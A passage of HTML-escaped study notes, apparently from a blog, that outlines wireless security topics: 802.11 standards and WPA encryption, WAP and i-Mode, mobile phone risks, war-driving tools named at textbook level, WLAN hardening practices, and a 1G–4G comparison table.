  &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 119.7pt;&quot; valign=&quot;top&quot; width=&quot;200&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 9pt;&quot;&gt;TKIP
  (RC4)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
  &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 119.7pt;&quot; valign=&quot;top&quot; width=&quot;200&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 9pt;&quot;&gt;CCMP
  (AES Counter Mode)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
 &lt;/tr&gt;
&lt;tr&gt;
  &lt;td style=&quot;border-top: none; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 119.7pt;&quot; valign=&quot;top&quot; width=&quot;200&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 9pt;&quot;&gt;Integrity&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;/td&gt;
  &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 119.7pt;&quot; valign=&quot;top&quot; width=&quot;200&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 9pt;&quot;&gt;None&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
  &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 119.7pt;&quot; valign=&quot;top&quot; width=&quot;200&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 9pt;&quot;&gt;Michael MIC&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
  &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 119.7pt;&quot; valign=&quot;top&quot; width=&quot;200&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 9pt;&quot;&gt;CCMP (AES CBC-MAC)&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;/td&gt;
 &lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;&lt;b&gt;802.11j&lt;/b&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;The&amp;nbsp;802.11j task group has been working on bringing together many of the different standards and streamlining their&amp;nbsp;development to allow for better interoperability across borders.&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;802.11n&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;802.11n is designed to be much faster, with throughput at 100 Mbps, and it works at the same&amp;nbsp;frequency range of 802.11a (5GHz).&amp;nbsp;&lt;/li&gt;
&lt;li&gt;The intent is to maintain some backward-compatibility with current Wi-Fi standards,&amp;nbsp;while combining a mix of the current technologies.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;The proposals for this standard use a concept called multiple input,&amp;nbsp;multiple output (MIMO) to increase the throughput. This will necessitate the use of two receive and two transmit antennas&amp;nbsp;to broadcast in parallel using a 20MHz channel.&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;802.16&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;All the wireless standards covered so far are WLAN-oriented standards. 802.16 is a metropolitan area network (MAN)&amp;nbsp;wireless standard, which allows for wireless traffic to cover a much wider geographical area.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;This technology is also&amp;nbsp;referred to as broadband wireless access.&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;802.15&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;This standard deals with a much smaller geographical network, which is referred to as a wireless personal area network&amp;nbsp;(WPAN).&amp;nbsp;&lt;/li&gt;
&lt;li&gt;This technology allows for connectivity to take place among local devices, such as a computer communicating&amp;nbsp;with a PDA, a cellular phone communicating with a computer, or a headset communicating with another device.&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;Bluetooth&amp;nbsp;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;wireless technology is actually a portion of the 802.15 standard. It has a 1- to 3-Mbps transfer rate and&amp;nbsp;works in a range of approximately ten meters.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Bluejacking&lt;/b&gt;: someone sends an unsolicited&amp;nbsp;message to a device that is Bluetooth-enabled.&amp;nbsp;Often, the Bluejacker is trying to send someone else their business card, which will be added to the&amp;nbsp;victim&#39;s contact list in their address book.&amp;nbsp;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;The countermeasure is to put the Bluetooth-enabled device into nondiscoverable&amp;nbsp;mode.&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;b&gt;Wireless Application Protocol (WAP)&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Is not a standard per se. Instead, is a de facto market and industry-driven&amp;nbsp;protocol stack. WAP provides a common architecture for wireless devices to be able to communicate over the Internet.&lt;/li&gt;
&lt;li&gt;The WAP model contains protocols that perform similar functionalities to those performed by protocols in the&amp;nbsp;TCP/IP stack.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;Because wireless can be a web-based technology, WAP provides a way to present web pages.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;Personal&amp;nbsp;computers and servers use HTML or XML to present web-based material and JavaScript to perform the processing in the&amp;nbsp;background.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;WAP uses an XML-compliant Wireless Markup Language (WML) and WMLScript to perform these similar&amp;nbsp;tasks.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;WAP has its own session and transport protocols and a transport layer security protocol called Wireless Transport&amp;nbsp;Layer Security (WTLS), which is similar to TLS and SSL.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;The wireless device has a WAP microbrowser that displays the&amp;nbsp;web pages to the user.&lt;/li&gt;
&lt;li&gt;Because the wireless devices use the Internet for transmission, and the Internet does not understand&lt;/li&gt;
&lt;li&gt;WTLS, WTLS must be translated into a protocol the Internet does understand. This translation takes place at the service&amp;nbsp;provider&#39;s gateway.&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;A security concern is that these data will be decrypted at the service provider&#39;s site and then encrypted with SSL or TLS.&amp;nbsp;That means for a second or two, the data are not protected. This is referred to as the gap in the WAP, and it has caused&amp;nbsp;a lot of concern for businesses and security professionals and is still one of the issues that needs to be dealt with.&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;WTLS Authentication&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;Class 1: Anonymous authentication
:&amp;nbsp;&amp;nbsp;The wireless device and server do not authenticate to each other.&lt;/li&gt;
&lt;li&gt;Class 2
:&amp;nbsp;&amp;nbsp;Server authentication
:&amp;nbsp;&amp;nbsp;The server authenticates to the wireless device.&lt;/li&gt;
&lt;li&gt;Class 3
:&amp;nbsp;&amp;nbsp;Two-way client and server authentication
:&amp;nbsp;&amp;nbsp;The server and the wireless device authenticate to each other.&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;b&gt;i-Mode&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;/div&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;WAP and i-Mode are the two main protocols used for wireless Internet transmissions by cell phones and other PDA-like&amp;nbsp;devices.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;WAP was developed by a consortium of companies with the goal of allowing people to carry out business-oriented&amp;nbsp;activities.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;i-Mode was developed by a company in Japan (NTT DoCoMo) and is geared more toward providing an&amp;nbsp;entertainment platform than toward providing functionality for business-oriented individuals.&lt;/li&gt;
&lt;li&gt;i-Mode works with a slimmed-down version of HTML, called Compact HTML (cHTML), while WAP uses&amp;nbsp;WML.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 style=&quot;text-align: left;&quot;&gt;

Mobile Phone Security&lt;/h3&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;/div&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Mobile Phones have sensitive data on them, such as credentials, contacts, company files, and more, none of which is usually encrypted. They&amp;nbsp;also have a camera functionality&lt;/li&gt;
&lt;li&gt;Every organization should include this new&amp;nbsp;technology and source of security breaches into their policies and security program.&lt;/li&gt;
&lt;li&gt;cell phone must authenticate to a base station before it is&amp;nbsp;allowed to make a call, but the base station is not required to authenticate to the cell phone.&amp;nbsp;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;This has opened the door for&amp;nbsp;attackers to set up rogue base stations to capture credentials.&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;Cell phone cloning&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;A regular cell phone can&amp;nbsp;be stolen and then reprogrammed with someone else&#39;s access credentials. So can SIM(Sub Id Module) chips.&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;No end to end encryption: If someone encrypts their data and sends it&amp;nbsp;on their cell phone, typically it is encrypted only while it is traveling over the wireless portion of the network and not over the wired portion.&lt;/li&gt;
&lt;li&gt;Access to the Internet and bypassing company firewalls.&lt;/li&gt;
&lt;li&gt;Short message spamming.&lt;/li&gt;
&lt;li&gt;Malicious code can be downloaded.&lt;/li&gt;
&lt;li&gt;Universal Mobile Telecommunications System is a proposed new standard for third-generation mobile&amp;nbsp;communications.&lt;/li&gt;
&lt;li&gt;Cell phone firewall products to protect against(Implementation is rare today):&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;VoIP signaling and DoS attacks&lt;/li&gt;
&lt;li&gt;Toll fraud&lt;/li&gt;
&lt;li&gt;VoIP bandwidth abuses&lt;/li&gt;
&lt;li&gt;Virus infections&lt;/li&gt;
&lt;li&gt;Restricting file transfer&lt;/li&gt;
&lt;li&gt;Voice mail and PBX attacks&lt;/li&gt;
&lt;li&gt;Unauthorized employee connections&lt;/li&gt;
&lt;li&gt;Wardialing&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;b&gt;War Driving for WLANs&lt;/b&gt;&lt;br /&gt;
Someone either walks or drives around with a&amp;nbsp;wireless device with the intent of identifying APs and breaking into&amp;nbsp;them.&lt;br /&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;/div&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Kismet and NetStumbler are programs that sniff (monitor) for APs. When one of these programs identifies an AP&#39;s signal, it&amp;nbsp;logs the network name, the SSID, the MAC address of the AP, the manufacturer of the AP, the channel it was heard on, the&amp;nbsp;signal strength, the signal-to-noise ratio, and whether WEP is enabled.&lt;/li&gt;
&lt;li&gt;Airsnarf, AirSnort, and WEP-Crack are utilities that can be used to break and capture the WEP&amp;nbsp;encryption keys, if WEP is enabled.&lt;/li&gt;
&lt;/ul&gt;
Best practices :&lt;br /&gt;
&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Enable an 802.11i implementation technology as in WPA.&lt;/li&gt;
&lt;li&gt;Change default SSID.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;Disable &quot;broadcast SSID&quot; on the AP.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;Implement another layer of authentication (RADIUS, Kerberos). Before the user can access the network, require him&amp;nbsp;to authenticate.&lt;/li&gt;
&lt;li&gt;Physically put the AP at the center of the building.&lt;/li&gt;
&lt;li&gt;Logically put the AP in a DMZ with a firewall between the DMZ and internal network. Allow the firewall to investigate&amp;nbsp;the traffic before it gets to the wired network.&lt;/li&gt;
&lt;li&gt;Implement VPN for wireless devices to use for extra layer of protection.&lt;/li&gt;
&lt;li&gt;Configure the AP to allow only known MAC addresses into the network. Allow only known devices to authenticate.&amp;nbsp;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;But&amp;nbsp;remember that these MAC addresses are sent in cleartext, so an attacker could capture them and masquerade himself&amp;nbsp;as an authenticated device.&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;Assign static IP addresses to wireless devices and disable DHCP. If an attacker gains access and DHCP is enabled,&amp;nbsp;you have just given the attacker a valid working IP address to use.&lt;/li&gt;
&lt;li&gt;Carry out penetration tests on the WLAN. Use the tools described in this section to identify APs and attempt to break&amp;nbsp;the current encryption scheme being used.&lt;/li&gt;
&lt;li&gt;Move to a product that follows the 802.11i standard.&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;h3 style=&quot;text-align: left;&quot;&gt;

&lt;b&gt;Satellites&lt;/b&gt;&lt;/h3&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;/div&gt;
In most cases, satellite broadband is a hybrid system that uses a regular phone line and modem for data and requests sent&lt;br /&gt;
&lt;div style=&quot;display: inline !important;&quot;&gt;
from the user&#39;s machine, but employs a satellite link to send data to the user.&amp;nbsp;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;display: inline !important;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;display: inline !important;&quot;&gt;
&lt;b&gt;3G Wireless Communication&lt;/b&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;display: inline !important;&quot;&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Often referred to as broadband wireless.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;The first generation dealt&amp;nbsp;with analog transmissions of voice-only data over circuit-switched networks.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;The second generation allows for digitally&amp;nbsp;encoded voice and data to be transmitted between wireless devices, such as cell phones, and content providers. This&amp;nbsp;generation provides a throughput of around 19.2 Kbps. TDMA,CDMA, Global System for Mobile Communications (GSM), and Personal Communications Services (PCS) all fall&amp;nbsp;under 2G.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;This technology can transmit data over circuit-switched networks and supports&lt;/li&gt;
&lt;li&gt;data encryption, fax transmissions, and short message services (SMSs).&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;display: inline !important;&quot;&gt;
&lt;/div&gt;
&lt;table border=&quot;1&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;MsoTableGrid&quot; style=&quot;border-collapse: collapse; border: none; mso-border-alt: solid windowtext .5pt; mso-padding-alt: 0in 5.4pt 0in 5.4pt; mso-yfti-tbllook: 1184;&quot;&gt;
 &lt;tbody&gt;
&lt;tr&gt;
  &lt;td style=&quot;border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 109.8pt;&quot; valign=&quot;top&quot; width=&quot;183&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/td&gt;
  &lt;td style=&quot;border-left: none; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 109.8pt;&quot; valign=&quot;top&quot; width=&quot;183&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 9pt;&quot;&gt;1g&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
  &lt;td style=&quot;border-left: none; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 109.8pt;&quot; valign=&quot;top&quot; width=&quot;183&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 9pt;&quot;&gt;2G&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
  &lt;td style=&quot;border-left: none; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 109.8pt;&quot; valign=&quot;top&quot; width=&quot;183&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 9pt;&quot;&gt;3G&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
  &lt;td style=&quot;border-left: none; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 109.8pt;&quot; valign=&quot;top&quot; width=&quot;183&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 9pt;&quot;&gt;4G&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
 &lt;/tr&gt;
&lt;tr&gt;
  &lt;td style=&quot;border-top: none; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 109.8pt;&quot; valign=&quot;top&quot; width=&quot;183&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 9pt;&quot;&gt;Spectrum&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;/td&gt;
  &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 109.8pt;&quot; valign=&quot;top&quot; width=&quot;183&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 9pt;&quot;&gt;900MHz&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
  &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 109.8pt;&quot; valign=&quot;top&quot; width=&quot;183&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 9pt;&quot;&gt;1800MHz&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
  &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 109.8pt;&quot; valign=&quot;top&quot; width=&quot;183&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 9pt;&quot;&gt;2GHz&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
  &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 109.8pt;&quot; valign=&quot;top&quot; width=&quot;183&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 9pt;&quot;&gt;40GHz
  and 60GHZ&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
 &lt;/tr&gt;
&lt;tr&gt;
  &lt;td style=&quot;border-top: none; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 109.8pt;&quot; valign=&quot;top&quot; width=&quot;183&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 9pt;&quot;&gt;Multiplexing
  Type&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;/td&gt;
  &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 109.8pt;&quot; valign=&quot;top&quot; width=&quot;183&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 9pt;&quot;&gt;Analog
  FDMA&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
  &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 109.8pt;&quot; valign=&quot;top&quot; width=&quot;183&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 9pt;&quot;&gt;TDMA&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
  &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 109.8pt;&quot; valign=&quot;top&quot; width=&quot;183&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 9pt;&quot;&gt;CDMA&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
  &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 109.8pt;&quot; valign=&quot;top&quot; width=&quot;183&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 9pt;&quot;&gt;OFDM&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
 &lt;/tr&gt;
&lt;tr&gt;
  &lt;td style=&quot;border-top: none; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 109.8pt;&quot; valign=&quot;top&quot; width=&quot;183&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 9pt;&quot;&gt;Voice Support&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;/td&gt;
  &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 109.8pt;&quot; valign=&quot;top&quot; width=&quot;183&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 9pt;&quot;&gt;Basic telephony&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
  &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 109.8pt;&quot; valign=&quot;top&quot; width=&quot;183&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 9pt;&quot;&gt;Caller ID and voice
  mail &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
  &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 109.8pt;&quot; valign=&quot;top&quot; width=&quot;183&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 9pt;&quot;&gt;Conference calls and
  lowquality video &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
  &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 109.8pt;&quot; valign=&quot;top&quot; width=&quot;183&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 9pt;&quot;&gt;Telepresence and
  highdefinition video&lt;b&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
